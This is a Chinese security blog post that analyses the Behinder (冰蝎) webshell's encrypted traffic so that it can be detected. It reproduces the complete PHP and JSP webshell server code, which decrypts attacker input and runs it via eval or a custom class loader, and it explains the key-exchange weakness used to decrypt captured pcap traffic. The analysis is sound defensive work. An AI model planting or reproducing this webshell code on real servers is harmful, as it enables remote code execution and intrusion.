前言
近期结合工作中实际需求,从流量的角度对冰蝎这一工具进行了一定的研究与分析,主要的思路是:以 pcap
抓包文件为数据,解析并提取流量中的密钥参数和数据参数进行解密处理,以提取流量数据的真实意图甚至真实代码,以便为后续的恶意检测打下较为良好的基础。
背景
冰蝎[1]是一款动态二进制加密网站管理客户端,其提供了包含jsp、php、asp等版本的一句话木马,与以往常用的一句话木马不同,冰蝎提供的一句话木马能够接收解析并执行客户端传递的加密二进制数据流(通常包含恶意指令或代码),通过对传输数据进行加密的能够较好的绕过WAF或网络防火墙的检测。但是,由于冰蝎的代码自2019年2月以来就没有再进行过更新,通过研究其密钥协商机制和加密机制,能够恢复冰蝎客户端与服务端协商的密钥及其他敏感数据以进行检测。
系统环境
•Windows 10 企业版 18363.959•Windows Subsystem for Linux (WSL) 操作系统:kali Linux A019267-NC 4.4.0-18362-Microsoft #836-Microsoft Mon May 05 16:04:00 PST 2020 x86_64 GNU/Linux•冰蝎Behinder v2.0.1•Wamp Server 2.5•Tomcat 7.0.105•Wireshark 3.2.5
冰蝎PHP服务端代码分析
首先,我们对冰蝎提供的 php
版本服务端代码进行分析,其源代码如下所示:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
服务端会通过 $_GET
变量检测 pass
参数是否被设置,如果设置则意味着客户端在尝试与服务端进行密钥协商,使用 md5
算法对一段随机生成的数据计算摘要,并通过 substr
截取运算结果的前16个字符作为 $key
,以 k 作为索引键值存入 $_SESSION
变量中以便后续服务端可以随时通过命令 $_SESSION['k']
获取密钥以对客户端传送的加密数据进行解密。
如果未设置 pass
参数,服务端默认此时与客户端之间的密钥已协商成功,且客户端已经使用密钥加密相关数据并通过流发送至服务端,服务端可以通过使用 php://input
输入流获取客户端发送的加密数据。
服务端支持两种加解密方案:
•XOR异或加解密•AES加解密
异或加解密是相对而言较为容易的,因为加解密方法完全一致,都是异或,可能唯一需要提醒大家的就是 $key[$i+1&15]
通过 $i+1&15
这一位操作符确保不越界访问 $key
变量。为了方便理解专门写了一段代码,请参考:
<?php
$data="hello, this is a test data";
$key="abcdefghijklmnop";
for($i=0;$i<strlen($data);$i++) {
echo $i+1&15;
echo "n";
}
?>
AES加解密相对而言而言容易理解的,因为只需要调库就好了!如下面这段代码,就是使用 openssl
提供的解密函数结合128位的AES密钥 $key
对数据 $post
进行解密处理:
$post=openssl_decrypt($post, "AES128", $key);
接下来就是切分解密后数据 $post
并动态的实例化 $param
参数传来的类,如果说冰蝎是存在恶意的,显然在已知冰蝎传输的流量存在问题时 $param
中携带的数据应当存在恶意行为。
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
冰蝎JSP服务端代码分析
其次,我们还对冰蝎提供的 jsp
代码进行了分析,其源代码如下所示:
<%@ page
import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c)
{super(c);}
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getParameter("pass")!=null) {
String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);
request.getSession().setAttribute("uid", k);
out.print(k);
return;
}
String uploadString= request.getReader().readLine();
Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString);
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
Byte[] classData= c.doFinal(encryptedData);
Object myLoader= new Myloader().get(classData).newInstance();
String result= myLoader.equals(pageContext);
%>
request.getParameter("pass")!=null
对应分支的主要作用是生成一个客户端与服务端之间共享的密钥:首先使用UUID工具类调用randomUUID()方法生成一段UUID内容,举例来说:UUID的一般格式为:2b54a9ec-f290-48db-b9b4-98b97dfb2a25
;通过调用 toString()
方法将数据转换为字符串,以方便进行处理;通过调用 replace("-", "")
方法,去掉字符串中的 -
;通过调用 substring(0, 16)
方法,切取数据的前16个字符;通过调用request.getSession().setAttribute("uid", k)
将使用 UUID
生成的密钥 k
记录到会话中,对应的键值为 uid
,用于方便服务端在后续交互中通过键值 uid
获取密钥信息 k
;out.print(k)
会将密钥信息 k
发还至客户端处。
另一个分支的主要作用是对客户端发送的数据进行解密和解析处理;通过调用 request.getReader().readLine()
方法,服务端能够读取一行客户端发送过来的数据;通过实例化 sun.misc.BASE64Decoder().decodeBuffer(uploadString)
将数据 uploadString
进行 Base64
解码为一个字节数组encryptedData
;Cipher.getInstance("AES/ECB/PKCS5Padding")
是Java提供的获取密码实例的接口,通过查看其参数我们能够明确,该方案使用AES密码算法,采用ECB加密模式(电码本加密模式:该方案有一定问题),填充方案采用PKCS5Padding
;通过调用 getAttribute("uid")
获取解密密钥;最终调用 c.doFinal(encryptedData)
解密数据,并将数据存储字节数组 classData
中。
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c)
{super(c);}
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
Object myLoader= new Myloader().get(classData).newInstance();
String result= myLoader.equals(pageContext);
上述代码的作用是:Myloader
继承 ClassLoader
,将字节数组 classData
解析为一个类后通过 newInstance()
进行实例化;实例化后的 Myloader
通过将页面上下文传入 equals
方法,这样在准备 payload Class
的时候,将想要执行的目标代码封装到 equals
方法中即可,执行结果通过 equals
方法配合 response
对象返回到客户端处,由客户端解析显示即可。
从流量角度对冰蝎客户端与服务端交互的分析
客户端第一次接入服务端时的密钥握手操作
客户端在连接至服务端时会进行至少发起两次密钥交互请求,截图如下:
响应密钥分别为 5fabc098b168e205
及 a88232b081e0b81c
,按照冰蝎的规则,后续传输的数据会使用最后一次密钥交互生成的密钥 a88232b081e0b81c
对数据进行加密处理。
加密数据分发
一段使用密钥加密的抓包数据如下所示:
既然掌握了加密密钥,解密相关数据也只是时间问题!
编写脚本解析pcap文件并解密相关数据
PHP部分
为提高分析效率,使用 Python
语言开发了一组用于解析pcap文件,筛选 HTTP
数据,提取可能的密钥和加密数据并自动解密的脚本。以 PHP
服务端为例,基本处理分析流程如下所示:
执行效果如下,输出结果为解密后的数据,经分析是冰蝎客户端向冰蝎服务端传输并等待服务端解析执行的一句话木马信息:
经处理,数据如下图所示:
JSP部分
由于客户端与 jsp
服务端交互的流量使用到了 Java
语言的字节流特性,仅仅使用 Python
代码已经不足以将加密流量转为明文数据并进行分析。针对这一问题,使用 Java
语言实现了加密解析工具类 ,在分析特定流量时,在使用 Python
分析 jsp
流量数据时,调用该工具类解密并解析相关流量并交由 Python
进行后续处理,流程如下:
Java字节流解析及解密子流程如下所示:
使用Java解密后的信息如下所示:
由于一些尚未查明的原因,解密数据存在部分乱码,但通过分析,可以发现其中存在与流加解密相关的信息与内容,应当为冰蝎传输的数据,可为后续分析安全分析提供参考。
References
[1]
冰蝎: https://github.com/rebeyond/Behinder
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论